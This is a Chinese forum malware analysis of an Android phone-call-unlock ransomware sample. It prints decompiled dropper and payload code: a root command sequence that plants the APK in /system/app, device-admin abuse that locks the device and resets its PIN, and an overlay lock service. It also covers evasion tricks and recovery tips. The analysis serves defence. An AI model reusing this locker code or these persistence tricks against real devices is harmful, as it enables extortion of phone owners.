本帖最后由 wnagzihxain 于 2016-9-4 12:05 编辑
报告名称:对电话解锁锁机的分析以及一点点思考 作者:wnagzihxain 报告更新日期:2016.09.03 样本发现日期:不详 样本类型:锁机 样本文件大小/被感染文件变化长度: 样本文件MD5 校验值: 样本文件SHA1 校验值: 壳信息:无 可能受到威胁的系统:安卓 相关漏洞:无 已知检测名称:无
前段时间有同学在样本区发了个样本,是一个关于锁机的样本,不过帖子里面介绍解锁方式是电话解锁,虽然只有简单几个字,不过已经可以猜到一点了
作为一个样本搜集狂热爱好者,赶紧下载回来整了一波,嗯,当时比较晚了,所以只是简单看了一下解锁方式,果然是只有当指定电话打过来才会解锁,然后就没有看下去了
距离那一次的分析间隔也漫长时间了,大四狗要做毕设,今天详细的记录一下这个样本的分析过程,然后还有一些关于锁机的思考
都是简单的东西,让大牛们见笑了
完全没分析过的同学或者请先看看我最早的分析文章,不然可能有些地方会看不懂哦
看Manifest.XML先,可以了解到package名,然后入口Activity是c,还有权限之类的
[XML] 纯文本查看 复制代码 <?xml version="1.0" encoding="utf-8" standalone="no"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.xnnckz">
<application android:debuggable="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme">
<activity android:label="@string/app_name" android:name=".c">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
</application>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
</manifest>
简单的看了下之后,来看反编译的代码
按照刚才的的信息来找到入口
然后就是看代码了,可以看出来这是在把assets文件夹里面的ijm-x86.so读出来,重新写成一个名为zihao.l的文件
[Java] 纯文本查看 复制代码 package com.xnnckz;
import adrt.ADRTLogCatReader;
import android.app.Activity;
import android.content.Context;
import android.os.Bundle;
import android.os.Environment;
import android.view.View;
import android.view.View$OnClickListener;
import android.widget.Button;
import android.widget.EditText;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
public class c extends Activity {
final class ButtonClickListener implements View$OnClickListener {
private final c this$0;
public ButtonClickListener(c arg1) {
super();
c.this = arg1;
}
static c access$0(ButtonClickListener arg1) {
return arg1.this$0;
}
@Override public void onClick(View arg2) {
new b().rootShell();
a.deleteFile(c.this.file);
}
}
private Button b;
a del;
String file;
String path;
private EditText t;
public c() {
super();
this.del = new a();
this.path = this.g();
this.file = new StringBuffer().append(this.path).append("/zihao.l").toString();
}
private void d(String arg6) throws IOException {
FileOutputStream fileOutputStream0 = new FileOutputStream(arg6);
InputStream inputStream0 = this.getAssets().open("ijm-x86.so");
byte[] array_b = new byte[1024];
int i;
for(i = inputStream0.read(array_b); i > 0; i = inputStream0.read(array_b)) {
((OutputStream)fileOutputStream0).write(array_b, 0, i);
}
((OutputStream)fileOutputStream0).flush();
inputStream0.close();
((OutputStream)fileOutputStream0).close();
}
public final String g() {
String string0 = null;
if(Environment.getExternalStorageState().equals("mounted")) {
string0 = Environment.getExternalStorageDirectory().getAbsolutePath();
}
return string0;
}
@Override protected void onCreate(Bundle arg3) {
ADRTLogCatReader.onContext(((Context)this), "com.aide.ui");
super.onCreate(arg3);
this.setContentView(2130903040);
this.b = this.findViewById(2131099648);
this.t = this.findViewById(id.mainEditText1);
this.b.setOnClickListener(new ButtonClickListener(this));
try {
this.d(new StringBuffer().append(this.path).append("/zihao.l").toString());
}
catch(IOException iOException0) {
}
}
@Override protected void onDestroy() {
a.deleteFile(this.file);
super.onDestroy();
}
}
然后在b.class里面可以看到这么一段指令,那么可以看到,刚刚那个zihao.l文件拷贝进了/system/app,这是系统app所在的文件夹,当系统启动后会对这个文件夹的app做一系列的操作,就不展开了,然后记住这个文件的名字是zihao.apk,反过来也就是刚才那个ijm-x86.so并不是一个so,而是一个apk
[Shell] 纯文本查看 复制代码 void rootShell() {
b.execCommand(new String[]{"mount -o rw,remount /system",
"mount -o rw,remount /system/app",
"cp /sdcard/zihao.l /system/app/",
"chmod 777 /system/app/zihao.l",
"mv /system/app/zihao.l /system/app/zihao.apk",
"chmod 644 /system/app/zihao.apk",
"reboot"}, true);
}
那我们的重心只需要放在这个ijm-x86.so上面就行
改后缀后将这个文件载入Jeb,先来看Manifest.XML
[XML] 纯文本查看 复制代码 <?xml version="1.0" encoding="utf-8"?>
<manifest package="com.cjk" xmlns:android="http://schemas.android.com/apk/res/android">
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS" />
<uses-permission android:name="android.permission.VIBRATE" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.CALL_PHONE" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-sdk android:minSdkVersion="8" android:targetSdkVersion="21" />
<application android:debuggable="true" android:icon="@drawable/icon" android:label="@string/app_name" android:theme="@style/AppTheme">
<activity android:label="@string/app_name" android:name=".M">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service android:name="s" />
<receiver android:name="bbb">
<intent-filter android:priority="2147483647">
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>
<receiver android:description="@string/hello" android:name=".MyAdmin">
<meta-data android:name="android.app.device_admin" android:resource="@xml/my_admin" />
<intent-filter>
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
</receiver>
</application>
</manifest>
那么这个就比刚才那个丰富多了,这才是一个锁机应该有的Manifest.XML嘛
你说刚才那个连一个开机自启动都没有,一重启就没了,锁毛线
同样,看package和入口Activity
找到入口Activity,顺便修改一下变量名,弹出设备管理器的获取窗口,通常锁机一定会重写部分MyAdmin的方法,比如Enable,DisAble之类的
[Java] 纯文本查看 复制代码 package com.cjk;
import LogCatBroadcaster;
import android.app.Activity;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.os.Parcelable;
public class MainActivity extends Activity {
public MainActivity() {
super();
}
private void activiteDevice() {
Class v8;
MainActivity v0 = this;
Intent intent = new Intent("android.app.action.ADD_DEVICE_ADMIN");
ComponentName componentName = null;
ComponentName v6 = null;
MainActivity v7 = v0;
try {
v8 = Class.forName("com.cjk.MyAdmin");
}
catch(ClassNotFoundException v5_1) {
throw new NoClassDefFoundError(v5_1.getMessage());
}
super(((Context)v7), v8);
intent.putExtra("android.app.extra.DEVICE_ADMIN", ((Parcelable)componentName));
v0.startActivityForResult(intent, 0);
}
@Override public void onCreate(Bundle arg6) {
LogCatBroadcaster.start(this);
super.onCreate(arg6);
this.activiteDevice();
}
}
跟到com.cjk.MyAdmin看一下都重写了哪些方法
注释写的已经蛮详细的了
[Java] 纯文本查看 复制代码 package com.cjk;
import android.app.admin.DeviceAdminReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;
public class MyAdmin extends DeviceAdminReceiver {
public MyAdmin() {
super();
}
@Override public CharSequence onDisableRequested(Context arg10, Intent arg11) { // 取消激活设备管理器
String v4 = Integer.toString(9836); // 锁屏的PIN码
this.getManager(arg10).lockNow(); // 锁屏
this.getManager(arg10).resetPassword(v4, 0); // 设置锁屏PIN码
return super.onDisableRequested(arg10, arg11); // 取消激活的时候会锁屏,并重设PIN码
}
@Override public void onEnabled(Context arg17, Intent arg18) { // 激活设备管理器
Class v11;
MyAdmin v0 = this;
Context v1 = arg17;
Intent v2 = arg18;
String v4 = Integer.toString(9836); // 锁屏的PIN码
Intent v8 = null;
Intent v9 = null;
Context v10 = v1;
try {
v11 = Class.forName("com.cjk.s");
}
catch(ClassNotFoundException v8_1) {
throw new NoClassDefFoundError(v8_1.getMessage());
}
super(v10, v11);
v8.setFlags(268435456);
v1.startService(v8);
v0.getManager(v1).resetPassword(v4, 0); // 设置锁屏PIN码
super.onEnabled(v1, v2); // 激活设备管理器的时候会重设锁屏PIN码,并执行s
}
@Override public void onPasswordChanged(Context arg10, Intent arg11) { // 密码改变
String v4 = Integer.toString(9836); // 锁屏的PIN码
this.getManager(arg10).lockNow(); // 锁屏
this.getManager(arg10).resetPassword(v4, 0); // 设置锁屏PIN码
super.onPasswordChanged(arg10, arg11);
}
@Override public void onReceive(Context arg8, Intent arg9) {
Log.i("------", "onReceive-----");
super.onReceive(arg8, arg9);
}
}
那么激活设备管理器之后,会执行s
那就跳到s看看
[Java] 纯文本查看 复制代码 package com.cjk;
import android.app.Application;
import android.app.Service;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.SharedPreferences$Editor;
import android.content.SharedPreferences;
import android.media.AudioManager;
import android.media.MediaPlayer;
import android.os.IBinder;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.View;
import android.view.WindowManager$LayoutParams;
import android.view.WindowManager;
import android.widget.TextView;
import com.android.internal.telephony.ITelephony;
import java.lang.reflect.Method;
public class LockService extends Service {
class IncomingCallReceiver extends BroadcastReceiver {
private final LockService LockService_this;
public IncomingCallReceiver(LockService arg6) {
super();
LockService.this = arg6;
}
static LockService access$0(IncomingCallReceiver arg4) {
return arg4.LockService_this;
}
@Override public void onReceive(Context arg14, Intent p_intent) {
IncomingCallReceiver IncomingCallReceiver_1 = this;
Intent intent = p_intent;
String intent_Action = intent.getAction();
Log.d(LockService.TAG, new StringBuffer().append("action:").append(intent_Action).toString());
if("android.intent.action.PHONE_STATE".equals(intent_Action)) {
Log.i(LockService.TAG, new StringBuffer().append("State: ").append(intent.getStringExtra("state")).toString());
String incoming_number = intent.getStringExtra("incoming_number");
Log.d(LockService.TAG, new StringBuffer().append("Incomng Number: ").append(incoming_number).toString());
String incoming_number_MD5 = MD5Util.getMD5String(incoming_number);
IncomingCallReceiver IncomingCallReceiver_2 = IncomingCallReceiver_1;
try {
if(IncomingCallReceiver_2.LockService_this.eq.equals(incoming_number_MD5)) {
IncomingCallReceiver_1.LockService_this.mAudioManager.setRingerMode(0);
IncomingCallReceiver_1.LockService_this.iTelephony.endCall();
IncomingCallReceiver_1.LockService_this.mAudioManager.setRingerMode(2);
IncomingCallReceiver_1.LockService_this.mWindowManager.removeView(IncomingCallReceiver_1.LockService_this.mFloatLayout);
IncomingCallReceiver_1.LockService_this.stopSelf();
return;
}
IncomingCallReceiver_1.abortBroadcast();
}
catch(Exception v9_1) {
}
}
}
}
private static final String TAG;
TextView bah;
TextView cjk;
DU des;
SharedPreferences$Editor editor;
private String eq;
private ITelephony iTelephony;
private AudioManager mAudioManager;
private View mFloatLayout;
private IncomingCallReceiver mReceiver;
private WindowManager mWindowManager;
SharedPreferences share;
TextView tv;
TextView wb;
private WindowManager$LayoutParams wmParams;
static final {
Class v2_1;
try {
v2_1 = Class.forName("com.cjk.s");
}
catch(ClassNotFoundException v2) {
throw new NoClassDefFoundError(v2.getMessage());
}
LockService.TAG = v2_1.getSimpleName();
}
public LockService() {
super();
this.eq = "73074846EE1EC1706921E73E065BA4B7";
}
static String access$L1000000() {
return LockService.TAG;
}
static ITelephony access$L1000002(LockService arg4) {
return arg4.iTelephony;
}
static AudioManager access$L1000003(LockService arg4) {
return arg4.mAudioManager;
}
static String access$L1000004(LockService arg4) {
return arg4.eq;
}
static WindowManager access$L1000006(LockService arg4) {
return arg4.mWindowManager;
}
static View access$L1000007(LockService arg4) {
return arg4.mFloatLayout;
}
static void access$S1000000(String arg4) {
LockService.TAG = arg4;
}
static void access$S1000002(LockService arg6, ITelephony arg7) {
arg6.iTelephony = arg7;
}
static void access$S1000003(LockService arg6, AudioManager arg7) {
arg6.mAudioManager = arg7;
}
static void access$S1000004(LockService arg6, String arg7) {
arg6.eq = arg7;
}
static void access$S1000006(LockService arg6, WindowManager arg7) {
arg6.mWindowManager = arg7;
}
static void access$S1000007(LockService arg6, View arg7) {
arg6.mFloatLayout = arg7;
}
private void c() {
LockService LockService_this = this;
LockService_this.wmParams = new WindowManager$LayoutParams();
Application v13 = LockService_this.getApplication();
LockService_this.getApplication();
LockService_this.mWindowManager = v13.getSystemService(Context.WINDOW_SERVICE);
LockService_this.wmParams.type = 2010;
LockService_this.wmParams.format = 1;
LockService_this.wmParams.flags = 1280;
LockService_this.wmParams.gravity = 49;
LockService_this.wmParams.x = 0;
LockService_this.wmParams.y = 0;
LockService_this.wmParams.width = -1;
LockService_this.wmParams.height = -1;
LockService_this.mFloatLayout = LayoutInflater.from(LockService_this.getApplication()).inflate(2130903041, null);
MediaPlayer v2 = MediaPlayer.create(LockService_this, 2131099648);
v2.setLooping(true);
v2.start();
LockService_this.mWindowManager.addView(LockService_this.mFloatLayout, LockService_this.wmParams);
LockService_this.wb = LockService_this.mFloatLayout.findViewById(2131361792);
LockService_this.bah = LockService_this.mFloatLayout.findViewById(2131361793);
LockService_this.cjk = LockService_this.mFloatLayout.findViewById(2131361794);
LockService_this.tv = LockService_this.mFloatLayout.findViewById(2131361795);
try {
String v7 = MD5Util.getbah("626fcaf7df9278dl0aff3aaca07a5b8c88fd66ld54f277cc01852adc05565ff96a5cfa22la1bf9c9fal934132b8a4d212ba05bad14ad34cb812d751d0l47c41df95c0fffa333772bcd5980b13l5699c8fd0587cl8f493c4d5b8156d4d24c04bfd4ld01fb59l3c6a80f979303ab9a93f3");
String v8 = MD5Util.getbah("69ll219a612f396f774a98a5a865c657lad9311608360b26d05l1c6151b5ll326953986a53ldd92dafd2clff8b6707cllb75bdd4821b3lb747f256bb22606f8854ba778ball012cbc74942d396570l79cf9065d0cb39c948");
String v9 = MD5Util.getbah("e02a4da7da50c33b7e67eb7e99b80205f3e73ae8eaeedcfb713408294d9ec3e7");
String v10 = MD5Util.getbah("8ddba52bda232d3b5a9012bd7b30f7579d4e9a986936f16a1667579f5ec4552483e89d01c3a7e130");
LockService_this.wb.append(LockService_this.des.decrypt(v7));
LockService_this.bah.append(LockService_this.des.decrypt(v8));
LockService_this.cjk.append(LockService_this.des.decrypt(v9));
LockService_this.tv.append(LockService_this.des.decrypt(v10));
}
catch(Exception v12) {
}
}
public boolean is(Context arg5) {
return 0;
}
@Override public IBinder onBind(Intent arg5) {
return null;
}
@Override public void onCreate() {
Class v6_2;
LockService LockService_this = this;
super.onCreate();
LockService_this.mReceiver = new IncomingCallReceiver(LockService_this);
IntentFilter v1 = new IntentFilter();
v1.addAction("android.intent.action.PHONE_STATE");
v1.addAction("android.provider.Telephony.SMS_RECEIVED");
LockService_this.registerReceiver(LockService_this.mReceiver, v1);
LockService_this.mAudioManager = LockService_this.getSystemService("audio");
Object v2 = LockService_this.getSystemService("phone");
try {
v6_2 = Class.forName("android.telephony.TelephonyManager");
goto label_43;
}
catch(Exception v6) {
}
catch(ClassNotFoundException v6_1) {
ClassNotFoundException v4 = v6_1;
try {
throw new NoClassDefFoundError(v4.getMessage());
label_43:
Method v3 = v6_2.getDeclaredMethod("getITelephony", null);
v3.setAccessible(true);
LockService_this.iTelephony = v3.invoke(v2, null);
}
catch(Exception v6) {
}
}
LockService_this.des = new DU("bah.java");
LockService v6_3 = LockService_this;
try {
v6_3.des = new DU(LockService_this.des.decrypt("8e6762e8737463a957dc390bff4eb8e8"));
}
catch(Exception v6) {
}
LockService_this.share = LockService_this.getSharedPreferences("by:洛天依QQ1873651303么么踹", 0);
LockService_this.editor = LockService_this.share.edit();
LockService_this.getApplication().getSystemService("vibrator").vibrate(new long[]{((long)100), ((long)1500), ((long)100), ((long)1500)}, 0);
}
@Override public void onDestroy() {
super.onDestroy();
this.unregisterReceiver(this.mReceiver);
}
public void onStart(Intent arg8, int arg9) {
super.onStart(arg8, arg9);
this.c();
}
}
稍微修改了一下变量名,不过看代码可以看出来这就是锁机的比较关键代码了
找到onCreate代码段,看不出什么东西,中间那个Class.forName看着关键其实不然
[Java] 纯文本查看 复制代码 @Override
public void onCreate() {
Class v6_2;
LockService LockService_this = this;
super.onCreate();
LockService_this.mReceiver = new IncomingCallReceiver(LockService_this);
IntentFilter v1 = new IntentFilter();
v1.addAction("android.intent.action.PHONE_STATE");
v1.addAction("android.provider.Telephony.SMS_RECEIVED");
LockService_this.registerReceiver(LockService_this.mReceiver, v1);
LockService_this.mAudioManager = LockService_this.getSystemService("audio");
Object v2 = LockService_this.getSystemService("phone");
try {
v6_2 = Class.forName("android.telephony.TelephonyManager");
goto label_43;
}catch(Exception v6) {
}catch(ClassNotFoundException v6_1) {
ClassNotFoundException v4 = v6_1;
try {
throw new NoClassDefFoundError(v4.getMessage());
label_43:
Method v3 = v6_2.getDeclaredMethod("getITelephony", null);
v3.setAccessible(true);
LockService_this.iTelephony = v3.invoke(v2, null);
}catch(Exception v6) {
}
}
LockService_this.des = new DU("bah.java");
LockService v6_3 = LockService_this;
try {
v6_3.des = new DU(LockService_this.des.decrypt("8e6762e8737463a957dc390bff4eb8e8"));
}catch(Exception v6) {
}
LockService_this.share = LockService_this.getSharedPreferences("by:洛天依QQ1873651303么么踹", 0);
LockService_this.editor = LockService_this.share.edit();
LockService_this.getApplication().getSystemService("vibrator").vibrate(new long[]{((long)100), ((long)1500), ((long)100), ((long)1500)}, 0);
}
通常简单的锁机都是先random一个随机数当做序列码,然后加减乘除算出一个解锁密码
并且将这几个数值加密后写进sp文件,这样下次启动的时候直接读取就行,然后解锁的时候直接读取sp的键值进行对比
因为这个不是通过输入解锁密码解锁的,所以这段代码应该是找不到的,不排除那些锁机开发者在原来的版本上进行二次开发的可能性,因为很多样本的代码非常杂,看的出来是开发过多次的
并且开发的水平并不高
嗯,开发的水平并不高
继续来看这个,既然没有解锁密码之类的,那就找找解锁方法吧
这里有一个小技巧,如果代码非常多,上千行,不排除有这种样本哦
可以搜索removeView和stopSelf这两个关键词,因为如果真的存在解锁的代码段的话,应该会使用remove和stopSelf的
之所以说如果,因为我曾经见过一个样本,界面吹得天花乱坠,扫码付款,诚信做人,结果逆向一看,就只有加锁,解锁的代码直接没有。。。。。。
搜一下,搜到了
一个Receiver,看命名也可以看出来,接收来电Action
[Java] 纯文本查看 复制代码 class IncomingCallReceiver extends BroadcastReceiver {
private final LockService LockService_this;
public IncomingCallReceiver(LockService arg6) {
super();
LockService.this = arg6;
}
static LockService access$0(IncomingCallReceiver arg4) {
return arg4.LockService_this;
}
@Override
public void onReceive(Context arg14, Intent p_intent) {
IncomingCallReceiver IncomingCallReceiver_1 = this;
Intent intent = p_intent;
String intent_Action = intent.getAction();
Log.d(LockService.TAG, new StringBuffer().append("action:").append(intent_Action).toString());
if("android.intent.action.PHONE_STATE".equals(intent_Action)) {
Log.i(LockService.TAG, new StringBuffer().append("State: ").append(intent.getStringExtra("state")).toString());
String incoming_number = intent.getStringExtra("incoming_number");
Log.d(LockService.TAG, new StringBuffer().append("Incomng Number: ").append(incoming_number).toString());
String incoming_number_MD5 = MD5Util.getMD5String(incoming_number);
IncomingCallReceiver IncomingCallReceiver_2 = IncomingCallReceiver_1;
try {
if(IncomingCallReceiver_2.LockService_this.eq.equals(incoming_number_MD5)) {
IncomingCallReceiver_1.LockService_this.mAudioManager.setRingerMode(0);
IncomingCallReceiver_1.LockService_this.iTelephony.endCall();
IncomingCallReceiver_1.LockService_this.mAudioManager.setRingerMode(2);
IncomingCallReceiver_1.LockService_this.mWindowManager.removeView(IncomingCallReceiver_1.LockService_this.mFloatLayout);
IncomingCallReceiver_1.LockService_this.stopSelf();
return;
}
IncomingCallReceiver_1.abortBroadcast();
}catch(Exception v9_1) {
}
}
}
}
提取了关键的几句
[Java] 纯文本查看 复制代码 String incoming_number = intent.getStringExtra("incoming_number");
String incoming_number_MD5 = MD5Util.getMD5String(incoming_number);
一大堆乱七八糟的就不看了,直接看if的条件
[Java] 纯文本查看 复制代码 if(IncomingCallReceiver_2.LockService_this.eq.equals(incoming_number_MD5))
让eq等于来电号码的MD5,找一下eq的定义
[Java] 纯文本查看 复制代码 this.eq = "73074846EE1EC1706921E73E065BA4B7";
拿去解密一下
[Java] 纯文本查看 复制代码 15186911291
那么很清楚了,解锁方式就是让作者用这个号码给你的手机打个电话,或者说,让“这个号码”给你的手机来个电
从我接触锁机开始,这里并不包括病毒木马之类,仅仅是锁机
最早是就一个简单的apk,序列码解锁,方式上面已经写了,这种锁机非常好解决,直接使用反编译工具找到关键代码就可以解锁,然后取消激活设备管理器就可以卸载
然后出现了一些扫码解锁,那个二维码其实就是一个按钮,而且输入框有的还找不到,因为很小很小很小很小很小。。。。。。
再接着就有一些使用ijm-x86.so这种形式,一个可以躲过杀软的检测,还可以造成一种爱加密加固的假象,有些想试着逆向的同学看到这个估计就不会继续下去了,通常这种会写进/system/app文件夹,长按无法卸载
后来又出现使用设备管理器漏洞的锁机,简单来说就是激活后,想取消激活的时候会锁屏7秒,简称7秒锁屏法,然后就可以组织用户取消激活,无法取消激活也就是永远卸载不掉(Android设备管理器取消激活漏洞)
最近的一段时间我收到两个有意思的样本,一个是通过访问指定页面,如果指定页面有一个十个字母随机字符串即可解锁(对锁机APP"防蹭网大师"的逆向分析),还有一个就是这个电话解锁了
不过,如果看这篇文章的吃瓜群众中有写锁机的,我建议你们代码写的好看些,不必要的package就delete,你说要是后人想要接着维护这个锁机,打开源码一看,肯定是想着:这个开发者的水平真差,特么不写注释代码写的还垃圾,作为开发者我觉得很丢脸
然后是解锁
能找到解锁密码的就直接找解锁密码,然后重置一下PIN码就行
没有解锁密码的,比如需要访问一个网页,那个页面有特殊字符串的那种,如果是连着WiFi,那么搞一下路由就可以了,如果连着2G,3G,4G。。。。。。
然后是本文这种电话解锁的,不知道改号软件可不可以搞一下,有待各位吃瓜群众讨论研究一下
至于一些常用解锁,锁机发展到现在这个阶段,双清是完全没作用的,可以刷机,可以安全模式(这个我不清楚,没搞过),如果开了USB调试且电脑授权了的话,可以直接adb命令来删除(这个比较直接)
当然,付钱最省事,就当长个教训
你说安装这些什么免流,辅助之前在模拟器上面运行一下不行吗??????
如果是锁机直接就看出来了
你也不能天天被锁了就跑来求解锁啊是吧,哪有那么多热心的吃瓜群众帮你看,有些还要脱壳。。。。。。是的,有些锁机特么的被加固了,真的被加固了,是数字壳!!!!!!
图片仅仅用于说明被锁机的瓜友数量还是蛮多的
各位瓜友,晚安
|